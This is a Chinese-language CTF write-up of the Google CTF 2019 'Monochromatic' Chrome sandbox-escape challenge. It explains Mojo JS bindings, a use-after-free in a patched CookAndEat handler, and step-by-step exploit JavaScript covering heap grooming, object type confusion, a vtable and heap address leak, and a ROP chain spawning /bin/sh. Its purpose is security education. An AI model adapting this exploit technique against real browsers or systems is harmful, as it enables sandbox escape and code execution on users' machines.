沙箱逃逸之google ctf 2019 Monochromatic writeup
字数 1155 2025-08-06 18:07:59
Chrome沙箱逃逸漏洞分析与利用:Google CTF 2019 Monochromatic题解
1. 基础知识:Mojo JS Bindings API
1.1 Mojo架构概述
Mojo是Chromium的进程间通信(IPC)系统,其架构分为四个层次:
- Mojo Core:核心功能实现
- Mojo System API(C):提供基础API接口(message pipes, data pipes, shared buffers等)
- Higher-Level System APIs:高级语言抽象接口(C++, JS, Java)
- Bindings APIs:使用IDL生成的接口实现(支持C++, JS, Java)
1.2 JS Bindings API使用流程
- 定义.mojom接口文件:
module test.echo.mojom;
interface Echo {
EchoInteger(int32 value) => (int32 result);
};
- 编译生成binding:
在BUILD.gn中添加:
import("//mojo/public/tools/bindings/mojom.gni")
mojom("interfaces") {
sources = ["echo.mojom"]
}
- 在HTML中使用:
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>
var echoPtr = new test.echo.mojom.EchoPtr();
var echoRequest = mojo.makeRequest(echoPtr);
// ...
</script>
- 完整实现示例:
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>
function EchoImpl() {}
EchoImpl.prototype.echoInteger = function(value) {
return Promise.resolve({result: value});
};
var echoServicePtr = new test.echo.mojom.EchoPtr();
var echoServiceRequest = mojo.makeRequest(echoServicePtr);
var echoServiceBinding = new mojo.Binding(
test.echo.mojom.Echo,
new EchoImpl(),
echoServiceRequest
);
echoServicePtr.echoInteger({value: 123}).then(function(response) {
console.log('The result is ' + response.value);
});
</script>
2. 题目分析
2.1 环境配置
启动Chrome时添加--enable-blink-features=MojoJS参数启用MojoJS接口:
args = [
'./binary/chrome',
'--enable-blink-features=MojoJS',
'--disable-gpu',
'--headless',
'--repl'
]
2.2 补丁分析
补丁主要添加了以下接口:
- BeingCreatorInterface:
interface BeingCreatorInterface {
CreatePerson() => (blink.mojom.PersonInterface? person);
CreateDog() => (blink.mojom.DogInterface? dog);
CreateCat() => (blink.mojom.CatInterface? cat);
};
- Person/Dog/Cat接口:
interface PersonInterface {
GetName() => (string name);
SetName(string new_name);
GetAge() => (uint64 age);
SetAge(uint64 new_age);
GetWeight() => (uint64 weight);
SetWeight(uint64 new_weight);
CookAndEat(blink.mojom.FoodInterface food);
};
- FoodInterface(未实现):
interface FoodInterface {
GetDescription() => (string description);
SetDescription(string new_description);
GetWeight() => (uint64 weight);
SetWeight(uint64 new_weight);
};
2.3 对象内存布局
三个对象的内存布局不同(包含虚表指针):
- CatInterfaceImpl:
pointer vtable;
pointer __data_; // string name
size_type __size_;
size_type __cap_;
uint64_t age;
uint64_t weight;
- DogInterfaceImpl:
pointer vtable;
uint64_t weight;
pointer __data_; // string name
size_type __size_;
size_type __cap_;
uint64_t age;
- PersonInterfaceImpl:
pointer vtable;
uint64_t age;
uint64_t weight;
pointer __data_; // string name
size_type __size_;
size_type __cap_;
2.4 漏洞分析
漏洞位于CookAndEat函数实现中:
void PersonInterfaceImpl::CookAndEat(
blink::mojom::FoodInterfacePtr foodPtr,
CookAndEatCallback callback) {
blink::mojom::FoodInterface* raw_food = foodPtr.get();
raw_food->GetWeight(base::BindOnce(
&PersonInterfaceImpl::AddWeight,
base::Unretained(this),
std::move(callback),
std::move(foodPtr)));
}
漏洞成因:
- 使用
base::Unretained(this)传递this指针 - 在
GetWeight回调中可以释放原对象 - 导致后续
AddWeight调用时出现UAF
3. 漏洞利用
3.1 利用思路
- 通过类型混淆实现内存重叠
- 构造特定内存布局使一个对象的name指针指向另一个对象的name
- 释放一个对象后重新分配,形成UAF
- 泄露虚表指针和堆地址
- 构造ROP链劫持控制流
3.2 详细利用步骤
步骤1:初始化环境
let dogCount = 8;
let catCount = 0x10;
let stringSize = 0x40;
// 创建8个Dog对象
let dogPtrArr = [];
let catPtrArr = [];
for(let i=0; i<dogCount; i++) {
let dogPtr = (await mojoPtr.createDog()).dog;
await dogPtr.setName('a'.repeat(stringSize));
dogPtrArr.push(dogPtr);
}
步骤2:实现FoodInterface
function FoodInterfaceImpl() {}
FoodInterfaceImpl.prototype.getWeight = async function() {
if(!this.weight) {
return {'weight': 0x101};
}
return {'weight': this.weight};
};
// ...其他接口实现...
步骤3:触发漏洞
// 绑定FoodInterface
var foodInterfacePtr = new blink.mojom.FoodInterfacePtr();
var foodInterfaceRequest = mojo.makeRequest(foodInterfacePtr);
var foodInterfaceBinding = new mojo.Binding(
blink.mojom.FoodInterface,
new FoodInterfaceImpl(),
foodInterfaceRequest
);
// 触发UAF漏洞
dogPtrArr[dogPtrArr.length-1].cookAndEat(foodInterfacePtr);
步骤4:堆风水布局
FoodInterfaceImpl.prototype.getWeight = async function() {
// 释放最后一个Dog对象
dogPtrArr.pop().ptr.reset();
// 扩大其他Dog的name大小,制造0x40大小的hole
for(let i=0; i<dogPtrArr.length; i++) {
await dogPtrArr[i].setName('a'.repeat(stringSize*100));
}
// 创建Cat对象填充hole
for(let i=0; i<catCount; i++) {
let catPtr = (await mojoPtr.createCat()).cat;
catPtrArr.push(catPtr);
}
// 设置Cat的name(0x40大小)
for(let i=0; i<catCount; i++) {
await catPtrArr[i].setName(id2Str(i, stringSize));
}
// 返回0x40将修改一个Cat的name指向相邻Cat的name
return {'weight': 0x40};
};
步骤5:寻找重叠对象
// 查找被修改的Cat对象
let evilIdx = -1;
let evil = undefined;
for(let i=0; i<catCount; i++){
let name = (await catPtrArr[i].getName()).name;
if(name != id2Str(i, stringSize)){
evilIdx = i;
evil = catPtrArr[i];
break;
}
}
// 验证并获取victim对象
let name = (await evil.getName()).name;
let victimIdx = str2Id(name);
let victim = catPtrArr[victimIdx];
步骤6:泄露地址
// 释放victim的name
victim.setName('a'.repeat(stringSize*200));
// 创建Person对象占用释放的内存
let ropBufferSize = 0x100;
let triggerPersonPtr = (await mojoPtr.createPerson()).person;
await triggerPersonPtr.setName('A'.repeat(ropBufferSize));
// 泄露数据
let leakData = (await evil.getName()).name;
let personVtableAddr = getUint64(leakData, 0);
let leakHeapAddr = getUint64(leakData, 0x18);
let baseAddr = personVtableAddr - 0x8fc19c0n;
步骤7:构造ROP链
let binshAddr = leakHeapAddr+0x68n;
let ropBuffer = new ArrayBuffer(ropBufferSize);
let ropData8 = new Uint8Array(ropBuffer).fill(0x41);
ropDataView = new DataView(ropBuffer);
// 设置ROP链
ropDataView.setBigInt64(0x10, xchgRaxRsp, true);
ropDataView.setBigInt64(0x0, popRsi, true);
ropDataView.setBigInt64(0x8, popRsi, true);
ropDataView.setBigInt64(0x18, popRdi, true);
ropDataView.setBigInt64(0x20, binshAddr, true);
ropDataView.setBigInt64(0x28, popRsi, true);
ropDataView.setBigInt64(0x30, 0n, true);
ropDataView.setBigInt64(0x38, 0n, true);
ropDataView.setBigInt64(0x40, popRdx, true);
ropDataView.setBigInt64(0x48, 0n, true);
ropDataView.setBigInt64(0x50, popRdx, true);
ropDataView.setBigInt64(0x58, 0n, true);
ropDataView.setBigInt64(0x60, execvp, true);
ropDataView.setBigInt64(0x68, 0x68732f6e69622fn, true); // "/bin/sh"
步骤8:触发漏洞
// 设置伪造的虚表
await triggerPersonPtr.setName(ropStr);
// 修改triggerPersonPtr的虚表指向伪造地址
evilData = setUint64(leakData, 0, leakHeapAddr);
await evil.setName(evilData);
// 触发ROP
console.log((await triggerPersonPtr.getName()).name);
4. 总结
本漏洞利用的关键点:
- 理解Mojo JS Bindings API的使用方法
- 分析不同类型对象的内存布局差异
- 通过类型混淆构造内存重叠
- 利用UAF泄露地址信息
- 构造ROP链实现控制流劫持
该漏洞展示了如何通过精心构造的对象布局和回调机制,利用类型混淆实现沙箱逃逸。这种技术在浏览器漏洞利用中具有典型性,理解其原理对安全研究具有重要意义。